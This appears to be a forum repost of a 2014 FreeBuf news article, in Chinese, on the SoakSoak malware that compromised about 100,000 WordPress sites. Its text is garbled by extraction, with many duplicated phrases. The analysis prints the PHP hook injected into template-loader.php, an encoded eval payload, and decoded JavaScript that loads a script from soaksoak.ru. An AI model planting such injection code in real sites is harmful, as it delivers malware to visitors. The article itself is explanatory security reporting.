搜索

[8498] 2014-12-16_10万WordPress网站沦陷：恶意软件SoakSoak来了

文档创建者：s7ckTeam
浏览次数：45
最后更新：2025-01-17
2014-12-16_10万WordPress网站沦陷：恶意软件SoakSoak来了 1 0 万 W o r d P r e s s 网 站 沦 陷 ： 恶 意 软 件 S o a k S o a k 来 了 F r e e B u f   F r e e B u f   2 0 1 4 - 1 2 - 1 6 W o r d P r e s s 是 一 款 使 用 是 一 款 使 用 P H P 语 言 开 发 的 博 客 平 台 ， 用 户 架 设 属 于 自 己 的 博 客 ， 也 可 以 把 语 言 开 发 的 博 客 平 台 ， 用 户 架 设 属 于 自 己 的 博 客 ， 也 可 以 把   W o r d P r e s s 当 作 一 个 内 容 管 理 系 统 （ 当 作 一 个 内 容 管 理 系 统 （ C M S ） 来 使 用 。 近 几 个 月 ， ） 来 使 用 。 近 几 个 月 ， W o r d P r e s s 安 全 漏 洞 事 件 频 发 ， 包 括 安 全 漏 洞 事 件 频 发 ， 包 括   免 免 费 主 题 暗 藏 后 门 ， 波 及 费 主 题 暗 藏 后 门 ， 波 及 W o r d P r e s s 等 知 名 等 知 名 C M S 系 统 系 统 ， ， W o r d P r e s s   4 . 0 以 下 版 本 存 在 跨 站 脚 本 漏 洞 以 下 版 本 存 在 跨 站 脚 本 漏 洞 。 。 而 现 在 ， 一 款 广 泛 传 播 的 恶 意 软 件 已 经 感 染 了 而 现 在 ， 一 款 广 泛 传 播 的 恶 意 软 件 已 经 感 染 了 1 0 0 , 0 0 0 多 个 多 个 W o r d P r e s s 网 站 ， 而 且 数 字 仍 在 增 网 站 ， 而 且 数 字 仍 在 增 加 。 加 。 G o o g l e 将 超 过 将 超 过 1 1 , 0 0 0 个 域 名 纳 入 黑 名 单 个 域 名 纳 入 黑 名 单 消 息 先 是 周 日 早 上 在 W o r d P r e s s 社 区 传 播 ， 起 因 是 G o o g l e 将 超 过 1 1 , 0 0 0 域 名 列 入 黑 名 单 ， 这 些 网 站 都 被 一 款 最 新 的 恶 意 软 件 攻 击 ， 软 件 来 源 于 S o a k S o a k . r u ， 所 以 起 名 为 S o a k S o a k   恶 意 软 件 。 由 于 现 在 互 联 网 上 有 超 过 7 亿 网 站 使 用 W o r d P r e s s ， 所 以 这 样 的 恶 意 软 件 影 响 巨 大 。 一 经 感 染 ， 网 站 就 会 出 现 异 常 行 为 ， 包 括 重 定 向 到 S o a k S o a k . r u 。 访 问 网 站 的 用 户 也 可 能 会 自 动 下 载 恶 意 程 序 。 G o o g l e 已 经 将 1 1 , 0 0 0 个 可 能 已 经 感 染 病 毒 的 网 站 列 入 黑 名 单 。 恶 意 软 件 分 析 恶 意 软 件 分 析 恶 意 软 件 恶 意 软 件 S o a k S o a k 会 修 改 会 修 改 w p - i n c l u d e s / t e m p l a t e - l o a d e r . p h p 文 件 文 件 < ? p h p f u n c t i o n   F u n c Q u e u e O b j e c t ( ) {     w p _ e n q u e u e _ s c r i p t ( " s w f o b j e c t " ) ; } a d d _ a c t i o n ( " w p _ e n q u e u e _ s c r i p t s " , ' F u n c Q u e u e O b j e c t ' ) ; 这 样 使 得 w p - i n c l u d e s / j s / s w o b j e c t . j s 文 件 会 在 每 一 个 页 面 上 加 载 ， 这 个 s w o b j e c t . j s 文 件 包 含 加 密 的 恶 意 j s 代 码 。 e v a l ( d e c o d e U R I C o m p o n e n t   ( " % 2 8 % 0 D % 0 A % 6 6 % 7 5 % 6 E % 6 3 % 7 4 % 6 9 % 6 F % 6 E % 2 8 % 2 9 % 0 D % 0 A % 7 B % 0 D % . . 7 2 % 6 9 % 7 0 % 7 4 % 2 E % 6 9 % 6 4 % 3 D % 2 7 % 7 8 % 7 8 % 7 9 % 7 9 % 7 A % 7 A % 5 F % 7 0 % 6 5 % 7 4 % 7 5 % 7 3 % 6 8 % 6 F % 6 B % 2 7 % 3 B % 0 D % 0 A % 0 9 % 6 8 % 6 5 % 6 1 % 6 4 % 2 E % 6 1 % 7 0 % 7 0 % 6 5 % 6 E % 6 4 % 4 3 % 6 8 % 6 9 % 6 C % 6 4 % 2 8 % 7 3 % 6 3 % 7 2 % 6 9 % 7 0 % 7 4 % 2 9 % 3 B % 0 D % 0 A % 7 D % 2 8 % 2 9 % 0 D % 0 A % 2 9 % 3 B " ) ) ; 解 密 后 的 代 码 ： 解 密 后 的 代 码 ： e v a l ( d e c o d e U R I C o m p o n e n t ( ' ( f u n c t i o n ( ) {         / / v a r   u a   =   n a v i g a t o r . u s e r A g e n t . t o L o w e r C a s e ( ) ;         / / i f   ( u a . i n d e x O f ( ' c h r o m e ' )   ! =   - 1 )   r e t u r n ;         v a r   h e a d = d o c u m e n t . g e t E l e m e n t s B y T a g N a m e ( ' h e a d ' ) [ 0 ] ;         v a r   s c r i p t = d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ;         s c r i p t . t y p e = ' t e x t / j a v a s c r i p t ' ;         s c r i p t . s r c = ' h t t p : / / s o a k s o a k . r u / x t e a s / c o d e ' ;         s c r i p t . i d = ' x x y y z z _ p e t u s h o k ' ;         h e a d . a p p e n d C h i l d ( s c r i p t ) ; } ( ) ) ; ' ) ) ; 恶 意 代 码 一 旦 被 解 密 ， 就 会 加 载 恶 意 代 码 一 旦 被 解 密 ， 就 会 加 载 S o a k S o a k . r u 域 名 中 的 域 名 中 的 j s ： ： h x x p : / / s o a k s o a k . r u / x t e a s / c o d e 检 测 与 预 防 检 测 与 预 防 目 前 尚 不 清 楚 病 毒 是 如 何 感 染 网 站 的 。 如 果 你 正 在 使 用 W o r d P r e s s ， 并 且 你 担 心 你 的 网 站 被 感 染 ， S u c u r i 公 司 提 供 了 免 费 网 站 扫 描 ， 你 可 以 检 测 你 的 网 站 是 否 感 染 了 病 毒 。
想 要 让 你 的 想 要 让 你 的 W o r d P r e s s 更 加 安 全 ， 可 参 见 ： 更 加 安 全 ， 可 参 见 ： 如 何 为 如 何 为 W o r d P r e s s 做 安 全 防 护 ？ 做 安 全 防 护 ？ [ 参 考 来 源 参 考 来 源 T H N   &   S u c u r i ， 译 ， 译 / S p h i n x ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ 黑 客 与 极 客 （ F r e e B u f . C O M ） ） ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理